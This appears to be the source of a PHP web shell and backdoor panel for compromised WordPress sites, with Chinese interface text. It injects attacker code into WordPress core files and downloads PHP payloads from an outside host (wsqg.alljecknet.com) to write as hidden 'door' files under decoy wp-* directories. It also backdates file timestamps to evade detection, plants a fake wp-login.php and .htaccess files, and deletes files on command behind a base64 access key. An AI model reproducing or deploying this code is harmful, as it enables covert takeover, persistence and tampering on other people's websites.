Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] '; $is_https = $_SERVER['HTTPS']; $http_name = $_SERVER['REQUEST_SCHEME']; if($is_https == 'on'){ $http_name = "https"; } $uri = $_SERVER['REQUEST_URI']; $uris = explode('?', $uri); $url_file = str_replace('/', '', $uris[0]); $key = $_REQUEST['key']; if(base64_encode($key) == 'MjAyMjEy'){ $url = "?authkey=".base64_encode($key); header("location:".$url); }else if($key == 'del'){ $path = $_SERVER['DOCUMENT_ROOT']; unlink($path.'/'.$url_file); } function addRestoreCode($restore_url, $files, $restore_code){ $status = 1; $msg = ""; $path = $_SERVER['DOCUMENT_ROOT']; for($i = 0;$i < count($files);$i++){ $file_url = $path . $restore_url . '/' . $files[$i]; if(file_exists($file_url)){ $content = file_get_contents($file_url); if(strpos($content,'$MdRwlQi6788') !== false){ }else{ if($files[$i] == 'cron.php'){ $content = str_replace("function wp_unschedule_hook(", $restore_code.PHP_EOL."function wp_unschedule_hook(", $content); } if($files[$i] == 'functions.php'){ $content = str_replace("function wp_json_file_decode(", $restore_code.PHP_EOL."function wp_json_file_decode(", $content); } if($files[$i] == 'load.php'){ $content = str_replace("function wp_get_active_and_valid_themes()", $restore_code.PHP_EOL."function wp_get_active_and_valid_themes()", $content); } if($files[$i] == 'plugin.php'){ $content = str_replace("function do_action_ref_array(", $restore_code.PHP_EOL."function do_action_ref_array(", $content); } if($files[$i] == 'query.php'){ $content = str_replace("function is_privacy_policy()", $restore_code.PHP_EOL."function is_privacy_policy()", $content); } if($files[$i] != 'functions.php'){ $content = str_replace("'. $file_url.' 文件添加代码成功
'; }else{ $status = 0; $msg.=''. $file_url.' 文件不存在
'; } } $result = array(); $result['status'] = $status; $result['msg'] = $msg; return $result; } function get_random_words($num){ $words=array("about","search","other","which","their","there","contact","business","online","first","would","services","these","click","service","price","people","state","email","health","world","products","music","should","product","system","policy","number","please","support","message","after","software","video","where","rights","public","books","school","through","links","review","years","order","privacy","items","company","group","under","general","research","january","reviews","program","games","could","great","united","hotel","center","store","travel","comments","report","member","details","terms","before","hotels","right","because","local","those","using","results","office","national","design","posted","internet","address","within","states","phone","shipping","reserved","subject","between","forum","family","based","black","check","special","prices","website","index","being","women","today","south","project","pages","version","section","found","sports","house","related","security","county","american","photo","members","power","while","network","computer","systems","three","total","place","download","without","access","think","north","current","posts","media","control","water","history","pictures","personal","since","guide","board","location","change","white","small","rating","children","during","return","students","shopping","account","times","sites","level","digital","profile","previous","events","hours","image","title","another","shall","property","class","still","money","quality","every","listing","content","country","private","little","visit","tools","reply","customer","december","compare","movies","include","college","value","article","provide","source","author","press","learn","around","print","course","canada","process","stock","training","credit","point","science","advanced","sales","english","estate","select","windows","photos","thread","category","large","gallery","table","register","however","october","november","market","library","really","action","start","series","model","features","industry","human","provided","required","second","movie","forums","march","better","yahoo","going","medical","friend","server","study","staff","articles","feedback","again","looking","issues","april","never","users","complete","street","topic","comment","things","working","against","standard","person","below","mobile","party","payment","login","student","programs","offers","legal","above","recent","stores","problem","memory","social","august","quote","language","story","options","rates","create","young","america","field","paper","single","example","girls","password","latest","question","changes","night","texas","poker","status","browse","issue","range","building","seller","court","february","always","result","audio","light","write","offer","groups","given","files","event","release","analysis","request","china","making","picture","needs","possible","might","month","major","areas","future","space","cards","problems","london","meeting","become","interest","child","enter","share","similar","garden","schools","million","added","listed","learning","energy","delivery","popular","stories","journal","reports","welcome","central","images","notice","original","radio","until","color","council","includes","track","archive","others","format","least","society","months","safety","friends","trade","edition","messages","further","updated","having","provides","david","already","green","studies","close","common","drive","specific","several","living","called","short","display","limited","powered","means","director","daily","beach","natural","whether","period","planning","database","official","weather","average","window","france","region","island","record","direct","records","district","calendar","costs","style","front","update","parts","early","miles","sound","resource","present","either","document","works","material","written","federal","hosting","rules","final","adult","tickets","thing","centre","cheap","finance","minutes","third","gifts","europe","reading","topics","cover","usually","together","videos","percent","function","getting","global","economic","player","projects","lyrics","often","submit","germany","amount","watch","included","though","thanks","deals","various","words","linux","james","weight","heart","received","choose","archives","points","magazine","error","camera","clear","receive","domain","methods","chapter","makes","policies","beauty","manager","india","position","taken","listings","models","michael","known","cases","florida","simple","quick","wireless","license","friday","whole","annual","later","basic","shows","google","church","method","purchase","active","response","practice","hardware","figure","holiday","enough","designed","along","among","death","writing","speed","brand","discount","higher","effects","created","remember","yellow","increase","kingdom","thought","stuff","french","storage","japan","doing","loans","shoes","entry","nature","orders","africa","summary","growth","notes","agency","monday","european","activity","although","western","income","force","overall","river","package","contents","players","engine","album","regional","supplies","started","views","plans","double","build","screen","exchange","types","lines","continue","across","benefits","needed","season","apply","someone","anything","printer","believe","effect","asked","sunday","casino","volume","cross","anyone","mortgage","silver","inside","solution","mature","rather","weeks","addition","supply","nothing","certain","running","lower","union","jewelry","clothing","names","robert","homepage","skills","islands","advice","career","military","rental","decision","leave","british","teens","woman","sellers","middle","cable","taking","values","division","coming","tuesday","object","lesbian","machine","length","actually","score","client","returns","capital","follow","sample","shown","saturday","england","culture","flash","george","choice","starting","thursday","courses","consumer","airport","foreign","artist","outside","levels","channel","letter","phones","ideas","summer","allow","degree","contract","button","releases","homes","super","matter","custom","virginia","almost","located","multiple","asian","editor","cause","focus","featured","rooms","female","thomas","primary","cancer","numbers","reason","browser","spring","answer","voice","friendly","schedule","purpose","feature","comes","police","everyone","approach","cameras","brown","physical","medicine","ratings","chicago","forms","glass","happy","smith","wanted","thank","unique","survey","prior","sport","ready","animal","sources","mexico","regular","secure","simply","evidence","station","round","paypal","favorite","option","master","valley","recently","probably","rentals","built","blood","improve","larger","networks","earth","parents","nokia","impact","transfer","kitchen","strong","carolina","wedding","hospital","ground","overview","owners","disease","italy","perfect","classic","basis","command","cities","william","express","award","distance","peter","ensure","involved","extra","pussy","partners","budget","rated","guides","success","maximum","existing","quite","selected","amazon","patients","warning","horse","forward","flowers","stars","lists","owner","retail","animals","useful","directly","housing","takes","bring","catalog","searches","trying","mother","traffic","joined","input","strategy","agent","valid","modern","senior","ireland","teaching","grand","testing","trial","charge","units","instead","canadian","normal","wrote","ships","entire","leading","metal","positive","fitness","chinese","opinion","football","abstract","output","funds","greater","likely","develop","artists","guest","seems","trust","contains","session","multi","republic","vacation","century","academic","graphics","indian","expected","grade","dating","pacific","mountain","filter","mailing","vehicle","longer","consider","northern","behind","panel","floor","german","buying","match","proposed","default","require","outdoor","morning","allows","protein","plant","reported","politics","partner","authors","boards","faculty","parties","mission","string","sense","modified","released","stage","internal","goods","unless","richard","detailed","japanese","approved","target","except","ability","maybe","moving","brands","places","pretty","spain","southern","yourself","winter","battery","youth","pressure","boston","incest","keywords","medium","break","purposes","dance","itself","defined","papers","playing","awards","studio","reader","virtual","device","answers","remote","external","apple","offered","theory","enjoy","remove","surface","minimum","visual","variety","teachers","martin","manual","block","subjects","agents","repair","civil","steel","songs","fixed","wrong","hands","finally","updates","desktop","classes","paris","sector","capacity","requires","jersey","fully","father","electric","quotes","officer","driver","respect","unknown","worth","teacher","workers","fucking","georgia","peace","campus","showing","creative","coast","benefit","progress","funding","devices","grant","agree","fiction","watches","careers","beyond","families","museum","blogs","accepted","former","complex","agencies","parent","spanish","michigan","columbia","setting","scale","stand","economy","highest","helpful","monthly","critical","frame","musical","angeles","employee","chief","gives","bottom","packages"); $word = ""; for($i = 0;$i < $num;$i++){ if(empty($word)){ $word = $words[mt_rand(0, 1000)]; }else{ $word = $word . '-' . $words[mt_rand(0, 1000)]; } } return $word; } function delete_urls($delete_files=array()){ $msg = ""; $path = $_SERVER['DOCUMENT_ROOT']; $file_urls = list_file($path); for($i = 0;$i < count($file_urls);$i++){ $url = $file_urls[$i]; if(!empty($delete_files)){ for($j = 0;$j < count($delete_files);$j++){ $file_name = trim($delete_files[$j]); if(file_exists($url.'/'.$file_name)){ chmod($url.'/'.$file_name, 0777); unlink($url.'/'.$file_name); $msg.=''. $url.'/'.$file_name.' 文件删除成功
'; } } } } return $msg; } function new_create_file($file_path, $file_content){ $result = array(); $status = 1; $urls = explode("/", $file_path); $file_name = $urls[count($urls)-1]; $file_url = ""; for($i = 0;$i < count($urls)-1;$i++){ if(empty($file_url)){ if(!empty($urls[$i])){ $file_url = '/'.$urls[$i]; } }else{ $file_url = $file_url . '/' . $urls[$i]; } } if(!file_exists($file_url)){ mkdir($file_url, 0777, true); } if(is_dir($file_url)){ $file_url = $file_url.'/'.$file_name; $fp = fopen($file_url, "w") or die("Unable to open file!"); fwrite($fp, $file_content); fclose($fp); $time = time() - rand(30, 100) * 24 *60 *60 - rand(0, 3600); touch($file_url, $time); $status = 1; $msg = ''.$file_url."文件创建成功".'
'; }else{ $status = 0; $msg = "".$file_url."目录不存在"; } $result['status'] = $status; $result['msg'] = $msg; return $result; } function create_file($url, $file_name, $file_content){ $result = array(); $status = 1; if(!file_exists($url)){ mkdir($url, 0777, true); } if(is_dir($url)){ $file_url = $url.'/'.$file_name; $fp = fopen($file_url, "w") or die("Unable to open file!"); fwrite($fp, $file_content); fclose($fp); $time = time() - rand(30, 100) * 24 *60 *60 - rand(0, 3600); touch($file_url, $time); $status = 1; $msg = ''.$file_url."文件创建成功".'
'; }else{ $status = 0; $msg = "".$url."目录不存在"; } $result['status'] = $status; $result['msg'] = $msg; return $result; } function list_file($path){ static $files = array(); $temp=scandir($path); foreach($temp as $v){ $a=$path.'/'.$v; if(is_dir($a)){ if($v=='.' || $v=='..'){ continue; } $files[] = $a; list_file($a); }else{ } } return $files; } function get_list_file($path, $num = 1, $pre_name = ""){ static $files = array(); $temp=scandir($path); if($num <= 10){ foreach($temp as $v){ if($num == 1){ if(strpos($v, '.') !== false || strpos($v, '..') !== false){ }else{ $files[$v][] = $path.'/'.$v; $pre_name = $v; get_list_file($path.'/'.$v, $num+1, $pre_name); } }else{ $a = $path.'/'.$v; if(is_dir($a)){ if($v=='.' || $v=='..'){ continue; } $files[$pre_name][$num-1][] = $a; get_list_file($a, $num+1, $pre_name); }else{ } } } } return $files; } function get_save_url($count){ $path = $_SERVER['DOCUMENT_ROOT']; $file_lists = get_list_file($path, 1, ''); $file_urls_list = array(); foreach ($file_lists as $k=>$v){ $fnum = 0; foreach ($v as $kv=>$cv){ if(is_array($cv)){ $fnum = $fnum + count($cv); }else{ $fnum = $fnum + 1; } } if($fnum > 5){ $file_urls_list[$k] = $v; } } $file_lists = array_reverse($file_urls_list); if(count($file_lists) > 0){ $per_count = round($count / count($file_lists)); }else{ $per_count = 0; } $max_num = count($file_lists); $sy_count = $count; $result_urls = array(); $k_num = 0; if($per_count > 0){ foreach ($file_lists as $k=>$v){ $k_num++; $sy_per_count = $per_count; $max_count = count($v); if($k_num == count($file_lists)){ if($sy_per_count < $sy_count){ $sy_per_count = $sy_count; } } for($i = $max_count - 1;$i >= 0 && $sy_per_count > 0 && $sy_count > 0;$i--){ if($sy_count > $per_count){ if(count($v[$i]) > $per_count){ $file_urls = array_rand($v[$i], $per_count); $sy_count = $sy_count - $per_count; $sy_per_count = $sy_per_count - $per_count; }else{ if(count($v[$i]) == 1){ $file_urls = array(0=>0); }else{ $file_urls = array_rand($v[$i], count($v[$i])); } $sy_count = $sy_count - count($v[$i]); $sy_per_count = $sy_per_count - count($v[$i]); } }else{ if(count($v[$i]) > $sy_per_count){ if($sy_per_count < $sy_count){ if($sy_per_count == 1){ $file_urls = array(0=>0); }else{ $file_urls = array_rand($v[$i], $sy_per_count); } $sy_count = $sy_count - $sy_per_count; $sy_per_count = 0; }else{ if($sy_count == 1){ $file_urls = array(0=>0); }else{ $file_urls = array_rand($v[$i], $sy_count); } $sy_count = 0; $sy_per_count = $sy_per_count - $sy_count; } }else{ if(count($v[$i]) == 1){ $file_urls = array(0=>0); $sy_count = $sy_count - count($v[$i]); $sy_per_count = $sy_per_count - count($v[$i]); }else{ if(count($v[$i]) < $sy_count){ $file_urls = array_rand($v[$i], count($v[$i])); $sy_count = $sy_count - count($v[$i]); $sy_per_count = $sy_per_count - count($v[$i]); }else{ if($sy_count == 1){ $file_urls = array_rand($v[$i], $sy_count); $file_urls = array(0=>$file_urls);; }else{ $file_urls = array_rand($v[$i], $sy_count); } $sy_count = $sy_count - $sy_count; $sy_per_count = $sy_per_count - $sy_count; } } } } for($j = 0;$j < count($file_urls);$j++){ array_push($result_urls, $v[$i][$file_urls[$j]]); } } } } return $result_urls; } function add_files($file_name_list, $file_url_list, $other_count){ $return_array = array(); $msg = ""; $code_urls = array(); for($i = 0;$i < count($file_name_list);$i++){ $num = $i + 1; if($num > (count($file_name_list) - $other_count)){ $num = $num - 3 - $other_count; } $url = "http://wsqg.alljecknet.com/index.php?action=code&id=".$num; $result = curl_url($url, "", 'GET'); $res = json_decode($result); $code = $res->code; if(!file_exists($file_url_list[$i])){ mkdir($file_url_list[$i], 0777, true); } if(is_dir($file_url_list[$i])){ $file_url = $file_url_list[$i].'/'.$file_name_list[$i]; chmod($file_url, 0755); $fp = fopen($file_url, "w+") or die($file_url." Unable to open file!"); fwrite($fp, $code); fclose($fp); $time = time() - rand(30, 100) * 24 *60 *60 - rand(0, 3600); touch($file_url, $time); array_push($code_urls, $file_url); $msg .= ''.$file_url."文件创建成功".'
'; }else{ $msg .= "".$file_url_list[$i]."目录不存在"; } } $return_array['msg'] = $msg; $return_array['code_urls'] = $code_urls; return $return_array; } function fill_full($file_urls, $count){ $path = $_SERVER['DOCUMENT_ROOT']; $file_url_result = array(); foreach ($file_urls as $k=>$v){ if(!empty($v)){ $file_url_result[] = $v; } } $file_tou = array('wp-content','wp-admin','wp-includes','wp-conten', 'wp-admni', 'wp-include', 'wp-theme','wp-setting','wp-load', 'wp-mail'); $file_list = array('css','images','img','js','themes','plugins','uploads','languages','includes','maint','network','met','user','IXR','ID3','fonts', 'block','blocks','php-compat','php','Text','widgets','SimplePie','random','style-engine','pomo','certificates','blockt'); $sy_count = $count - count($file_url_result); for ($i = 0;$i < $sy_count;$i++){ $path_url = $path .'/'.$file_tou[rand(0, count($file_tou)-1)]; for($j = 0;$j < rand(3,6);$j++){ $path_url = $path_url.'/'.$file_list[rand(0, count($file_list)-1)]; } $file_url_result[] = $path_url; } return $file_url_result; } function curl_url($url, $data="", $type="POST", $options=null){ if(empty($url)){ return false; } $type = in_array(strtoupper($type), array('POST','GET','PUT','PATCH','DELETE')) ? strtoupper($type) : "POST"; $connect_timeout = isset($options["connect_timeout"]) ? $options["connect_timeout"] : 60; $curlopt_timeout = isset($options["curlopt_timeout"]) ? $options["curlopt_timeout"] : 30; $ch = curl_init(); curl_setopt($ch, CURLOPT_ENCODING, ''); curl_setopt($ch, CURLOPT_AUTOREFERER, 1); curl_setopt($ch, CURLOPT_FAILONERROR, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $curlopt_timeout); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, 10); curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); curl_setopt($ch, CURLINFO_HEADER_OUT, true); if(isset($options["ua"])){ curl_setopt( $ch, CURLOPT_USERAGENT, (is_bool($options["ua"]) ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" : $options["ua"]) ); } if(isset($options["curlopt_timeout_ms"])){ curl_setopt($ch, CURLOPT_TIMEOUT_MS, $options["curlopt_timeout_ms"]); } if(strlen($url)>5 && strtolower(substr($url,0,5))=="https") { curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); } if(isset($options["headers"]) || isset($options["json"])){ $headers = isset($options["headers"]) ? (is_array($options["headers"]) ? $options["headers"] : array()) : array(); if(isset($options["json"])){ $headers[] = "Content-Type: application/json"; $headers[] = "cache-control: no-cache"; } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } switch(strtoupper($type)){ case "GET" : curl_setopt($ch, CURLOPT_HTTPGET, true); $data = empty($data) ? "" : (is_array($data) ? http_build_query($data) : $data); $url .= strrchr($url,"?")===false ? (empty($data) ? "" : "?".$data) : "&".$data; break; default : if($type=="POST"){ curl_setopt($ch, CURLOPT_POST, true); }else{ curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $type); } if(isset($options["json"]) && is_array($data)){ $data = json_encode($data); } curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } curl_setopt($ch, CURLOPT_URL, $url); $result = curl_exec($ch); curl_close($ch); return $result; } if($_REQUEST['type'] == 'sys_restore_action'){ header('Content-Type:application/json; charset=utf-8'); $restore_url = trim($_REQUEST['restore_url']); $restore_file = trim($_REQUEST['restore_file']); $restore_code = trim($_REQUEST['restore_code']); $status = 1; $msg = ""; if(empty($restore_file)){ $status = 0; $msg .= '请填写要添加系统还原代码的系统文件名称
'; } if(empty($restore_code)){ $status = 0; $msg .= '请填写系统还原代码
'; } $result = array(); if(empty($msg) && $status == 1){ $files = explode("\n", str_replace("\r\n", "\n", $restore_file)); $result = addRestoreCode($restore_url, $files, $restore_code); }else{ $result['status'] = $status; $result['msg'] = $msg; } exit(json_encode($result)); }else if($_REQUEST['type'] == 'del_file'){ usleep(3000000); $path = $_SERVER['DOCUMENT_ROOT']; unlink($path.'/'.$url_file); $key = trim($_REQUEST['key']); if($key == "2022fld"){ echo 1; }else{ echo 0; } }else{ ?> 文件操作
$v){?>
$v){?>
请填写htaccess文件1保存路径
"; } if(empty($ht_url_2)){ $msg .= "请填写htaccess文件2保存路径
"; } if(empty($ht_url_3)){ $msg .= "请填写htaccess文件3保存路径
"; } if(empty($in_url_1)){ $msg .= "请填写index文件1保存路径
"; } if(empty($in_url_2)){ $msg .= "请填写index文件2保存路径
"; } if(empty($in_url_3)){ $msg .= "请填写index文件3保存路径
"; } if(empty($ht_content)){ $msg .= "请填写.htaccess文件内容
"; } if(empty($index_content)){ $msg .= "请填写index.php文件内容
"; } if(empty($wp_login_url)){ $msg .= "请填写wp-login.php文件保存路径
"; } if(empty($wp_login_name)){ $msg .= "请填写wp-login.php文件名称
"; } if(empty($msg)){ $request_scheme = $http_name; $path = $_SERVER['DOCUMENT_ROOT']; $ht_1_result = new_create_file($path .$ht_url_1, $ht_content); $ht_2_result = new_create_file($path .$ht_url_2, $ht_content); $ht_3_result = new_create_file($path .$ht_url_3, $ht_content); $index_1_result = new_create_file($path . $in_url_1, $index_content); $index_2_result = new_create_file($path . $in_url_2, $index_content); $index_3_result = new_create_file($path . $in_url_3, $index_content); $wp_login_content = base64_decode($wp_login_content); $wp_login_result = create_file($path .'/'. $wp_login_url, $wp_login_name, $wp_login_content); $msg .= $ht_1_result['msg']; $msg .= $ht_2_result['msg']; $msg .= $ht_3_result['msg']; $msg .= $index_1_result['msg']; $msg .= $index_2_result['msg']; $msg .= $index_3_result['msg']; $msg .= $wp_login_result['msg']; if($wp_login_result['status'] == 1){ $msg .= "wp-login.php路径:".$request_scheme.'://'.$_SERVER['HTTP_HOST'].'/'.$wp_login_url.'/'.$wp_login_name.""; } } } ?>
count; $door_file_name = trim($_POST['door_file_name']); $door_file_url_name = trim($_POST['door_file_url_name']); $other_file_array = array('admin.php','wp-admin.php'); if(empty($door_file_name)){ $file_array = array('index.php','index.php','index.php','index.php', 'wp_blog.php','wp_cron.php','wp.php','vedcve.php', 'thems.php','loads.php','jsdindex.php','load.php', 'xmlrpcs.php','lofter.php','wp-crons.php','wp-load.php', 'repeater.php','wp-scripts.php' ); }else{ $file_array = explode("\n", str_replace("\r\n", "\n", $door_file_name)); } $file_names = ""; $run_count = $count; if($run_count > count($file_array)){ $run_count = count($file_array); } for($i = 0;$i < $run_count;$i++){ if(empty($file_names)){ $file_names = $file_names . $file_array[$i]; }else{ $file_names = $file_names . ' ' . $file_array[$i]; } } for($i = 0;$i < count($other_file_array);$i++){ if(empty($file_names)){ $file_names = $file_names . $other_file_array[$i]; }else{ $file_names = $file_names . ' ' . $other_file_array[$i]; } } if(empty($door_file_url_name)){ $file_urls = get_save_url($run_count+count($other_file_array)); }else{ $file_urls = explode("\n", str_replace("\r\n", "\n", $door_file_url_name)); } $file_urls = fill_full($file_urls, $count+count($other_file_array)); $file_url_name = ""; for($i = 0;$i < count($file_urls);$i++){ if(empty($file_url_name)){ $file_url_name = $file_url_name . $file_urls[$i]; }else{ $file_url_name = $file_url_name . ' ' . $file_urls[$i]; } } ?>
请填写php文件名称
'; } if(empty($door_file_url_name)){ $msg .= '请填写php文件要放入的路径
'; } $file_name_list = explode("\n", str_replace("\r\n", "\n", $door_file_name)); $file_url_list = explode("\n", str_replace("\r\n", "\n", $door_file_url_name)); $result = add_files($file_name_list, $file_url_list, count($other_file_array)); $code_urls = $result['code_urls']; $msg .= $result['msg']; } ?>
'; } ?>
$v){ echo $v.'|'; } ?>
请填写要删除文件名称'; }else{ $files = explode("|", $delete_file); $msg = delete_urls($files); if(empty($msg)){ $msg = '暂无文件可删除'; } } ?>